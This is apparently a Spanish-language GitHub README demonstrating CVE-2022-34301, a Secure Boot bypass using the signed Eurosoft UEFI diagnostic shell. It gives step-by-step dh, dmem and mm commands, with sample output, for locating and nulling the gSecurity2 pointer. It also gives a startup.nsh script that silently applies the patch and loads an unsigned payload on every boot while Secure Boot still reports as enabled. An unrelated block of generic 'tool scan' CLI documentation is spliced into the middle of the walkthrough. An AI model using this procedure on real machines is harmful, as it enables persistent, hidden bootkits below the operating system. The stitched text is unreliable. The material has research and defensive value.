Demuestra el bypass de Secure Boot de CVE-2022-34301 mediante el UEFI Shell firmado por Eurosoft (esdiags.efi), utilizando el comando mm para anular gSecurity2 y cargar aplicaciones UEFI no firmadas.
Eurosoft Pc-Check UEFI Diagnostics Shell - Bring Your Own Vulnerable UEFI Application (BYOVUA) - Omisión de Secure Boot mediante un UEFI Shell firmado y corrupción de gSecurity2.
Este repositorio demuestra la técnica BYOVUA (Bring Your Own Vulnerable UEFI Application) explotando CVE-2022-34301, una vulnerabilidad de omisión de Secure Boot en el entorno de diagnóstico UEFI Eurosoft Pc-Check.
En este caso, el componente en el que confía Secure Boot es esdiags.efi, un UEFI Shell distribuido como parte del producto de diagnóstico de hardware UEFI Pc-Check de Eurosoft, firmado por una cadena de certificados en la que confía la Autoridad de Certificación de Terceros UEFI de Microsoft. Una vez ejecutado, este shell expone el comando mm (memory modify) y, por lo tanto, proporciona capacidades de lectura y escritura arbitraria de memoria durante la fase de arranque previa al sistema operativo.
Esta primitiva puede entonces utilizarse para localizar y anular el puntero global gSecurity2 en el núcleo DXE. Como resultado, la verificación posterior de imágenes UEFI se deshabilita, permitiendo que se carguen aplicaciones UEFI no firmadas, bootkits, a pesar de que Secure Boot esté habilitado.
BYOVUA es el equivalente UEFI de la técnica BYOVD (Bring Your Own Vulnerable Driver) utilizada a nivel de kernel. En lugar de traer un controlador de kernel firmado con una vulnerabilidad, el atacante trae una aplicación UEFI firmada - en este caso, un UEFI Shell completo - que contiene funcionalidad capaz de socavar Secure Boot.
Debido a que la aplicación está firmada con una cadena de certificados en la que confía Secure Boot, se acepta sin cuestionamientos, lo que la hace confiable en cualquier sistema que incluya la Autoridad de Certificación de Terceros UEFI de Microsoft en su base de datos de Secure Boot (db) - que es prácticamente todos los PC con capacidad UEFI enviados en la última década. Una vez en ejecución, sus comandos integrados proporcionan al atacante acceso directo al hardware y a la memoria que opera antes de que se cargue el sistema operativo, en un entorno donde los controles de seguridad modernos (ASLR, DEP, protecciones del kernel) simplemente no existen.
esdiags.efi es un UEFI Shell distribuido como parte de Eurosoft's Pc-Check UEFI, un producto de diagnóstico de hardware de prearranque utilizado por fabricantes de PC, organizaciones de servicio y equipos de TI para pruebas de sistemas bare-metal.
| Propiedad | Valor |
|---|
| Archivo | EFI/Boot/Bootx64.efi (Microsoft) -> EFI/Boot/esdiags.efi (Shell) |
| Fabricante | Eurosoft (UK) Ltd |
| CVE | CVE-2022-34301 |
| Firma | Microsoft Corporation UEFI CA 2011 (Third Party) |
| Descubrimiento | Eclypsium (Mickey Shkatov, Jesse Michael) - Agosto 2022 |
| Presentación | DEF CON 30 - "One Bootloader to Load Them All" |
| Revocación | Añadido a DBX mediante Microsoft KB5012170 (Agosto 2022) |
La vulnerabilidad no es un bug - es un fallo de diseño. Los UEFI Shells son herramientas de diagnóstico legítimas que nunca fueron diseñadas para ejecutarse en entornos Secure Boot. Sin embargo, al firmarlos con un certificado de confianza de Microsoft y distribuirlos como parte de productos comerciales, los fabricantes crearon inadvertidamente una omisión firmada para Secure Boot.
El problema central: un binario firmado en el que confía Secure Boot proporciona capacidades de lectura/escritura de memoria sin restricciones a través de sus comandos integrados. Esta combinación rompe todo el modelo de confianza de Secure Boot.
El comando mm (memory modify) es un comando integrado estándar del UEFI Shell que proporciona acceso directo de lectura y escritura a la memoria del sistema. Está documentado en la UEFI Shell Specification (Sección 5.3).```
MM Address [Value] [-w 1|2|4|8] [-MEM | -MMIO | -IO | -PCI | -PCIE] [-n]
| Parámetro | Descripción |
|-----------|-------------|
| `Address` | Dirección de memoria objetivo |
| `Value` | Valor a escribir (omitir para solo lectura) |
| `-w` | Ancho: 1, 2, 4 u 8 bytes |
| `-MEM` | Acceso a memoria del sistema |
| `-MMIO` | E/S mapeada en memoria |
| `-IO` | Acceso a puerto de E/S |
| `-n` | No interactivo (sin solicitud de siguiente dirección) |
---
<div id='gsecurity2'/>
### ***gSecurity2 y el Protocolo de Arquitectura de Seguridad***
La verificación de imágenes de arranque seguro en UEFI se aplica a través de los [Protocolos de Arquitectura de Seguridad](https://uefi.org/specs/PI/1.8/V2_DXE_Architectural_Protocols.html#security-architectural-protocols), definidos en la Especificación de Inicialización de Plataforma (PI) de UEFI.
El núcleo DXE (DxeMain) mantiene un puntero global llamado [`gSecurity2`](https://github.com/tianocore/edk2/blob/edk2-stable202608/MdeModulePkg/Core/Dxe/DxeMain.h#L252), que apunta a la estructura `EFI_SECURITY2_ARCH_PROTOCOL`. Este protocolo contiene un único puntero a función - `FileAuthenticationState` - que es llamado por `LoadImage()` cada vez que se carga una imagen UEFI:```c
// EFI_SECURITY2_ARCH_PROTOCOL structure (PI Specification)
typedef struct _EFI_SECURITY2_ARCH_PROTOCOL {
EFI_SECURITY_FILE_AUTHENTICATION_STATE FileAuthenticationState;
} EFI_SECURITY2_ARCH_PROTOCOL;
// GUID: 94AB2F58-1438-4EF1-9152-18941A3A0E68
Cuando se llama a LoadImage(), el núcleo DXE verifica:```c
if (gSecurity2 != NULL)
{
Status = gSecurity2->FileAuthenticationState(gSecurity2, DevicePath, FileBuffer, FileSize, BootPolicy
);
if (EFI_ERROR(Status))
{
// Image rejected - signature verification failed
}
}
Al establecer `gSecurity2 = NULL`, la comprobación `if` falla y `FileAuthenticationState` nunca se llama. La verificación de imagen se omite por completo - **Secure Boot permanece "habilitado" pero ya no se aplica**. Las aplicaciones UEFI sin firmar pueden cargarse libremente.
Para una comprensión técnica profunda de esta técnica, incluida una aplicación UEFI creada específicamente que localiza y parchea automáticamente gSecurity2, consulte el proyecto complementario: [Exploitation Technique - UEFI Secure Boot Bypass via gSecurity2 Corruption](https://github.com/TheMalwareGuardian/Exploitation-Technique-UEFI-SecureBoot-Bypass-gSecurity2-Corruption).
---
<div id='BYOVD'/>
### ***Paralelismo con Kernel BYOVD***
El paralelismo estructural entre UEFI BYOVUA y kernel BYOVD es exacto:```
┌──────────────────────────────────────────────────────────────┐
│ UEFI BYOVUA (Secure Boot Bypass) │
│ │
│ Signed Shell ─ mm ─> gSecurity2 = NULL ─> Load unsigned │
│ (trusted by (Security2 Protocol) UEFI apps │
│ Secure Boot) │
├──────────────────────────────────────────────────────────────┤
│ Kernel BYOVD (DSE Bypass) │
│ │
│ Signed Driver ─ IOCTL ─> g_CiOptions = 0 ─> Load unsigned │
│ (trusted by (CI.dll) kernel drivers │
│ DSE / CI) │
└──────────────────────────────────────────────────────────────┘
Ambos ataques explotan la misma falla fundamental: un componente firmado en el que confía un mecanismo de seguridad proporciona la primitiva necesaria para deshabilitar ese mismo mecanismo.
El esdiags.efi firmado se coloca en la Partición del Sistema EFI (ESP) y se configura como una opción de arranque. Debido a que está firmado con una cadena de certificados en la que Secure Boot confía, el firmware lo valida y lo carga sin problemas.```
EFI System Partition (ESP)
└── EFI/
└── Boot/
└── Bootx64.efi (Microsoft) ← Signed by Microsoft Windows UEFI Driver Publisher
└── Bootxsa.efi (Shell) ← Signed by Eurosoft (UK) Ltd
---
<div id='Phase2'/>
### ***Fase 2 - Enumerar los handles del protocolo Security2***
Desde el UEFI Shell, el objetivo es encontrar el handle que expone el `EFI_SECURITY2_ARCH_PROTOCOL` (GUID: `94AB2F58-1438-4EF1-9152-18941A3A0E68`) y obtener la dirección de memoria de su interfaz de protocolo.
> **Nota:** El comando `dh -p <GUID>` no resuelve GUIDs sin procesar en la mayoría de las compilaciones del EDK2 Shell - solo reconoce nombres de protocolos registrados. El enfoque a continuación funciona en cualquier versión del EDK2 Shell.
**Paso 1 - Encontrar el handle de SecurityStubDxe**
Listar todos los handles y buscar `SecurityStubDxe`, que es el driver DXE que instala ambos Protocolos Arquitectónicos de Seguridad:```
Shell> dh
En la salida, identifique el handle cargado como SecurityStubDxe:```
10: Image(SecurityStubDxe)
**Paso 2 - Inspeccionar los handles adyacentes**
`SecurityStubDxe` instala los protocolos de Security en un handle separado, normalmente el que se encuentra inmediatamente después de él. Estos handles aparecen vacíos en el listado corto porque el Shell no puede asignar sus GUIDs a nombres descriptivos. Inspecciónalos con el modo verbose:```
Shell> dh -v 11
Expected output:``` Handle 11 (3EFCEF18) A46423E3-4617-49F1-B9FF-D1BFA9115839 (3EE8C398) 94AB2F58-1438-4EF1-9152-18941A3A0E68 (3EE8C3A0)
Si el handle `0x11` no contiene estos GUIDs, pruebe con `0x12` - el número de handle exacto varía entre compilaciones de firmware.
**Paso 3 - Registrar la dirección de la interfaz**
Los dos protocolos y sus direcciones de interfaz son:
| GUID | Protocolo | Dirección de interfaz |
|------|----------|-------------------|
| `A46423E3-4617-49F1-B9FF-D1BFA9115839` | `EFI_SECURITY_ARCH_PROTOCOL` (Security1) | `0x3EE8C398` |
| `94AB2F58-1438-4EF1-9152-18941A3A0E68` | `EFI_SECURITY2_ARCH_PROTOCOL` (Security2) | `0x3EE8C3A0` |
La **dirección de interfaz de Security2** (`0x3EE8C3A0` en este ejemplo) es el valor almacenado por el puntero global `gSecurity2` dentro de DxeMain. Este valor es necesario para la Fase 3.
---
<div id='Phase3'/>
### ***Fase 3 - Localizar gSecurity2 en memoria***
La variable `gSecurity2` es un puntero global dentro del núcleo DXE (`DxeMain`). Su valor es igual a la dirección de interfaz del protocolo encontrada en la Fase 2. El objetivo es encontrar la dirección de memoria donde se almacena este puntero - no el valor del puntero, sino la variable en sí.
**Paso 1 - Obtener el diseño de la imagen del núcleo DXE**```
Shell> dh -v 1
| -s | --server | SERVER | http://localhost:8080 | URL del servidor |
| -t | --token | TOKEN | - | Token de autenticación |
| -o | --output | FILE | stdout | Archivo de salida |
| -f | --format | FORMAT | json | Formato de salida |
| -v | --verbose | - | false | Habilitar registro detallado |
| -q | --quiet | - | false | Suprimir toda la salida |
| -c | --config | FILE | ~/.config/tool/config.yaml | Ruta del archivo de configuración |
| -n | --no-color | - | false | Deshabilitar la salida en color |
| -d | --debug | - | false | Habilitar la salida de depuración |
| -h | --help | - | - | Mostrar el mensaje de ayuda |
| -V | --version | - | - | Mostrar la versión |
# Escaneo básico
tool scan --target example.com
# Escaneo avanzado con opciones personalizadas
tool scan \
--target example.com \
--ports 80,443,8080 \
--threads 50 \
--timeout 30 \
--output results.json \
--format json \
--verbose
# Escaneo de múltiples objetivos desde un archivo
tool scan --input targets.txt --output results.csv --format csv
# Usar un archivo de configuración
tool scan --config /path/to/config.yaml
# Modo silencioso para scripting
tool scan --target example.com --quiet --output results.json
# ~/.config/tool/config.yaml
server: http://localhost:8080
token: your-api-token-here
output: results.json
format: json
verbose: false
quiet: false
threads: 10
timeout: 30
retries: 3
| Variable | Descripción | Valor predeterminado |
|---|---|---|
TOOL_SERVER | URL del servidor | http://localhost:8080 |
TOOL_TOKEN | Token de autenticación | - |
TOOL_OUTPUT | Archivo de salida | stdout |
TOOL_FORMAT | Formato de salida | json |
TOOL_VERBOSE | Habilitar registro detallado | false |
TOOL_QUIET | Suprimir toda la salida | false |
TOOL_CONFIG | Ruta del archivo de configuración | ~/.config/tool/config.yaml |
TOOL_THREADS | Número de hilos | 10 |
TOOL_TIMEOUT | Tiempo de espera en segundos | 30 |
TOOL_RETRIES | Número de reintentos | 3 |
| Código | Descripción |
|---|---|
0 | Éxito |
1 | Error general |
2 | Uso incorrecto de la línea de comandos |
3 | Error de configuración |
4 | Error de autenticación |
5 | Error de red |
6 | Tiempo de espera agotado |
7 | Permiso denegado |
8 | Recurso no encontrado |
9 | Conflicto |
10 | Error interno del servidor |
# Verificar si el comando está en PATH
which tool
# Verificar la versión
tool --version
# Reinstalar si es necesario
pip install --force-reinstall tool
# Verificar la conectividad del servidor
curl -v http://localhost:8080/health
# Verificar la configuración del proxy
echo $HTTP_PROXY
echo $HTTPS_PROXY
# Probar con un tiempo de espera mayor
tool scan --target example.com --timeout 60
# Verificar el token
echo $TOOL_TOKEN
# Regenerar el token
tool auth --regenerate
# Verificar los permisos
tool auth --check
# Reducir el número de hilos
tool scan --target example.com --threads 5
# Aumentar el tiempo de espera
tool scan --target example.com --timeout 120
# Habilitar el almacenamiento en caché
tool scan --target example.com --cache
git checkout -b feature/amazing-feature)git commit -m 'Add amazing feature')git push origin feature/amazing-feature)Este proyecto está licenciado bajo la Licencia MIT: consulte el archivo LICENSE para obtener más detalles.
Descargo de responsabilidad: Esta herramienta está destinada únicamente a pruebas de seguridad autorizadas y fines educativos. Los usuarios son responsables de cumplir con todas las leyes y regulaciones aplicables. Los autores no se hacen responsables de ningún uso indebido o daño causado por esta herramienta.``` Handle 01 (3F4ECB18) Image (3FEAFB08) File:DxeCore ImageBase.....: 3FE94000 - 3FEBB000 ImageSize.....: 27000
Registrar `ImageBase` (`0x3FE94000`).
**Paso 2 - Analizar las cabeceras PE para encontrar la sección `.data`**
La sección `.data` contiene las variables globales inicializadas, incluida `gSecurity2`. En lugar de escanear toda la imagen a ciegas, analiza las cabeceras PE para encontrar los límites exactos de `.data`.
Lee la cabecera MZ para obtener el desplazamiento de la cabecera PE (DWORD en el desplazamiento `0x3C`):```
Shell> dmem <ImageBase> 100
En la salida, observe el desplazamiento 0x3C desde ImageBase. Por ejemplo, si ImageBase es 0x3FE94000:```
3FE9403C: C0 00 00 00
Esto significa que la firma PE está en el desplazamiento `0xC0` desde `ImageBase`.
**Paso 3 - Leer la tabla de secciones**
El desplazamiento de la tabla de secciones se calcula como:```
section_table_offset = PE_offset + 4 (signature) + 20 (COFF header) + SizeOfOptionalHeader
Lee el encabezado COFF para obtener SizeOfOptionalHeader (WORD en PE_offset + 20):```
Shell> dmem <ImageBase + PE_offset> 20
Para una imagen UEFI PE32+ (x64), `SizeOfOptionalHeader` es típicamente `0xF0`. En nuestro ejemplo:```
section_table = 0x3FE94000 + 0xC0 + 4 + 20 + 0xF0 = 0x3FE941C8
Volcar la tabla de secciones (5 secciones × 40 bytes = 200 bytes):``` Shell> dmem 3FE941C8 140
Cada entrada de sección tiene 40 bytes:
| Offset | Size | Field |
|--------|------|-------|
| 0 | 8 | Name (ASCII) |
| 8 | 4 | VirtualSize |
| 12 | 4 | VirtualAddress (RVA) |
Busca la entrada de la sección `.data`. Ejemplo de salida:```
3FE941F0: 2E 64 61 74 61 00 00 00 ← ".data"
3FE941F8: B0 9E 00 00 ← VirtualSize = 0x9EB0
3FE941FC: 60 AA 01 00 ← VirtualAddress (RVA) = 0x1AA60
Calcular los límites absolutos de .data:```
data_start = ImageBase + VirtualAddress = 0x3FE94000 + 0x1AA60 = 0x3FEAEA60
data_end = data_start + VirtualSize = 0x3FEAEA60 + 0x9EB0 = 0x3FEB4910
**Paso 4 - Escanear `.data` en busca del puntero de interfaz**
Busca la dirección de la interfaz Security2 en orden de bytes little-endian dentro del rango `.data`. Para una dirección de interfaz de `0x3EE8C3A0`, busca:```
A0 C3 E8 3E 00 00 00 00
Escanear en bloques de 0x200 bytes comenzando desde data_start:```
Shell> dmem 3FEAEA60 200
Shell> dmem 3FEAEC60 200
Shell> dmem 3FEAEE60 200
...
Continúa a través del rango `.data` hasta encontrar la secuencia de bytes. Los punteros `gSecurity` (Security1) y `gSecurity2` (Security2) se almacenan de forma consecutiva, así que busca ambos valores adyacentes entre sí:```
3FEB0C08: A0 C3 E8 3E 00 00 00 00 ← gSecurity2 = 0x3EE8C3A0
3FEB0C10: 98 C3 E8 3E 00 00 00 00 ← gSecurity = 0x3EE8C398
Consejo: La sección
.datatambién contiene las estructuras de la EFI System Table (IBI SYST,DXE_SERV,BOOTSERV,RUNTSERV). Los punteros de seguridad normalmente se encuentran después de estas estructuras. Si detectas estas firmas mientras escaneas, sigue adelante: estás cerca.
Paso 5 - Confirmar la dirección
Verifica leyendo la ubicación exacta:``` Shell> dmem 3FEB0C08 10
Salida esperada:```
3FEB0C08: A0 C3 E8 3E 00 00 00 00-98 C3 E8 3E 00 00 00 00
La dirección 0x3FEB0C08 es donde se almacena gSecurity2 - este es el objetivo para la Fase 4.
Una vez que se conoce la dirección de la variable gSecurity2, un único comando mm desactiva la verificación de Secure Boot:```
Shell> mm <gSecurity2_address> 0 -w 8 -MEM
> **Nota:** El comando `mm` puede no aceptar el prefijo `0x` en el argumento de dirección. Utilice la dirección hexadecimal sin procesar directamente.
Ejemplo:```
Shell> mm 3FEB0C08 0 -w 8 -MEM
Esto escribe 8 bytes de ceros en el puntero gSecurity2. El núcleo DXE ahora omitirá todas las comprobaciones de verificación de imágenes en LoadImage().
Para verificar el parche:``` Shell> dmem <gSecurity2_address> 10
Los primeros 8 bytes deberían leerse `00 00 00 00 00 00 00 00`:```
3FEB0C08: 00 00 00 00 00 00 00 00-98 C3 E8 3E 00 00 00 00
Ten en cuenta que gSecurity (Security1, segundo qword) permanece intacto: solo se anula Security2, lo cual es suficiente para eludir la verificación de LoadImage().
Con gSecurity2 anulado, se puede cargar cualquier aplicación UEFI independientemente de su estado de firma:```
Shell> fs1:
fs1:> MyUnsignedApp.efi
O usando `load` para controladores:```
Shell> load fs1:\MyUnsignedDriver.efi
El sistema operativo aún no se ha iniciado. Cualquier aplicación UEFI cargada en este punto se ejecuta con acceso completo al hardware, antes de que se inicialice cualquier control de seguridad a nivel del sistema operativo.
El UEFI Shell ejecuta automáticamente startup.nsh desde el directorio actual o la raíz del ESP en cada inicio. Al codificar el parche mm en este script, la omisión de Secure Boot se ejecuta automáticamente en cada arranque:```nsh
mm <gSecurity2_address> 0 -w 8 -MEM
load fs1:\payload.efi
Ejemplo:```nsh
mm 3FEB0C08 0 -w 8 -MEM
load fs1:\payload.efi
El sistema continúa reportando Secure Boot como "habilitado" - solo la aplicación en tiempo de ejecución está deshabilitada. Esto hace que el ataque sea invisible para las consultas de estado de Secure Boot a nivel del sistema operativo.
Importante: La dirección
gSecurity2(0x3FEB0C08en este ejemplo) es específica de la compilación del firmware. Si el firmware se actualiza o se recompila, la dirección debe recalcularse repitiendo las Fases 2 y 3.
Encontrar la dirección gSecurity2 es específico del firmware y debe repetirse cada vez que el firmware se actualice o se recompile. El proceso de alto nivel es:```
Step 1 Step 2 Step 3
┌─────────────────────┐ ┌──────────────────────┐ ┌──────────────────────┐
│ dh │──> │ dh -v │──> │ dh -v 1 │
│ │ │ │ │ │
│ Find │ │ Inspect adjacent │ │ Get DxeMain │
│ SecurityStubDxe │ │ handle for │ │ ImageBase and │
│ handle number │ │ Security2 GUID and │ │ ImageSize │
│ │ │ Interface address │ │ │
└─────────────────────┘ └──────────────────────┘ └──────────────────────┘
│
v
Step 6 Step 5 Step 4
┌─────────────────────┐ ┌──────────────────────┐ ┌──────────────────────┐
│ Verify: │ <──│ Nullify: │ <──│ Parse PE headers, │
│ dmem 10 │ │ mm 0 -w 8 │ │ find .data section, │
│ │ │ -MEM │ │ scan for Interface │
│ First 8 bytes │ │ │ │ address bytes in │
│ = 0x0000000000000000│ │ Secure Boot bypass │ │ little-endian │
│ │ │ active │ │ │
└─────────────────────┘ └──────────────────────┘ └──────────────────────┘
---
---
---
<div id='Exploit'/>
## ***Exploit***
Se proporcionan dos enfoques:
**Enfoque A - Parchear FileAuthenticationState:** Sobrescribe los primeros 4 bytes de la función de verificación con `xor rax, rax; ret` (`48 31 C0 C3`), haciendo que devuelva EFI_SUCCESS sin realizar ninguna comprobación. Este enfoque utiliza los comandos `dh`, `dmem` y `mm` para resolver el puntero de la función a través de la interfaz del protocolo Security2 y no requiere buscar en la memoria de DxeMain.
**Enfoque B - Anular el puntero gSecurity2:** Localiza la variable global gSecurity2 dentro de la sección `.data` de DxeMain y escribe NULL en ella. Esta es la técnica descrita por Eclypsium en la divulgación de BombShell e implementada programáticamente en el repositorio [gSecurity2 Corruption](https://github.com/TheMalwareGuardian/Exploitation-Technique-UEFI-SecureBoot-Bypass-gSecurity2-Corruption). Este enfoque requiere analizar las cabeceras PE de DxeMain para encontrar los límites de la sección `.data`, y luego escanear manualmente la memoria con `dmem` para localizar la dirección del puntero.
Ambos scripts están diseñados para seguirse paso a paso, con cada comando explicado. Ejecútalos primero de forma interactiva y, una vez que se conozcan las direcciones correctas para el firmware objetivo, cree un `startup.nsh` para la ejecución automatizada en cada arranque.
---
---
---
<div id='LabSetup'/>
## ***Configuración del laboratorio***
### DBX (Base de datos de firmas prohibidas)
El shell firmado se ha añadido a la lista de revocación DBX de Microsoft mediante KB5012170 (agosto de 2022). En los sistemas actualizados, el shell será rechazado por Secure Boot.
Para el entorno de laboratorio, necesita un sistema donde:
- La DBX no se haya actualizado con la entrada de revocación para este shell específico
- O la DBX esté vacía (VM recién creada con las claves de Secure Boot predeterminadas)
- O utilice un entorno QEMU/OVMF con inscripción personalizada de claves de Secure Boot
El [QEMU UEFI Research Environment](https://github.com/TheMalwareGuardian/QEMU-UEFI-Research-Environment) proporciona una configuración automatizada para esto.
### Alternativa: Cualquier shell UEFI firmado con el comando mm
La técnica no es específica de `esdiags.efi`. Se puede utilizar cualquier UEFI Shell que exponga el comando `mm` y esté firmado con un certificado de confianza (CA de Microsoft o específico del OEM). Como se documenta en la investigación [BombShell](https://eclypsium.com/blog/bombshell-the-signed-backdoor-hiding-in-plain-sight-on-framework-devices/) de Eclypsium (octubre de 2025), se han encontrado shells UEFI firmados con capacidades peligrosas en productos de múltiples proveedores, incluidos portátiles Framework (afectando a aproximadamente 200.000 dispositivos).
---
---
---
<div id='References'/>
## ***Referencias***
### Directamente relacionadas
- [Awesome Bring Your Own Vulnerable UEFI Application](https://github.com/TheMalwareGuardian/Awesome-Bring-Your-Own-Vulnerable-UEFI-Application) - Colección seleccionada de aplicaciones UEFI firmadas vulnerables conocidas
- [Exploitation Technique - Secure Boot Bypass via gSecurity2 Corruption](https://github.com/TheMalwareGuardian/Exploitation-Technique-UEFI-SecureBoot-Bypass-gSecurity2-Corruption) - Análisis técnico profundo de la técnica de corrupción de gSecurity2, que incluye una aplicación UEFI creada específicamente que localiza y parchea automáticamente el puntero
### Investigación de Eclypsium
- [SignedUEFIShell](https://github.com/HackingThings/SignedUEFIShell) - Investigación sobre el uso de shells UEFI firmados para la manipulación de memoria con scripting .nsh
- [One Bootloader to Load Them All](https://eclypsium.com/research/one-bootloader-to-load-them-all/) - Investigación original de Eclypsium que divulga CVE-2022-34301, CVE-2022-34302, CVE-2022-34303
- [DEF CON 30 - One Bootloader to Load Them All](https://www.youtube.com/watch?v=99t7wEYs8h0) - Presentación de Mickey Shkatov y Jesse Michael
- [BombShell: The Signed Backdoor Hiding in Plain Sight](https://eclypsium.com/blog/bombshell-the-signed-backdoor-hiding-in-plain-sight-on-framework-devices/) - Investigación de octubre de 2025 que demuestra el ataque gSecurity2 mediante el comando mm en portátiles Framework (200k dispositivos afectados)
### Especificaciones UEFI
- [UEFI Shell Specification 2.2](https://uefi.org/sites/default/files/resources/UEFI_Shell_2_2.pdf) - Documentación para los comandos mm y dh
- [EDK2 - gSecurity2 declaration (DxeMain.h)](https://github.com/tianocore/edk2/blob/edk2-stable202608/MdeModulePkg/Core/Dxe/DxeMain.h#L252) - Referencia del código fuente para el puntero global gSecurity2
- [UEFI PI Specification - Security Architectural Protocols](https://uefi.org/specs/PI/1.8/V2_DXE_Architectural_Protocols.html#security-architectural-protocols) - Definición oficial del Security2 Architectural Protocol
### Avisos
- [CERT/CC - VU#309662](https://kb.cert.org/vuls/id/309662)
- [NVD - CVE-2022-34301](https://nvd.nist.gov/vuln/detail/CVE-2022-34301)
### Catálogo de bootloaders
- [Bootloaders.io - esdiags.efi](https://www.bootloaders.io/bootloaders/aa02b41c-fdba-4a15-8cd0-721c8ce19b68/) - Reglas YARA, detecciones Sigma y hashes de muestra para el shell Eurosoft revocado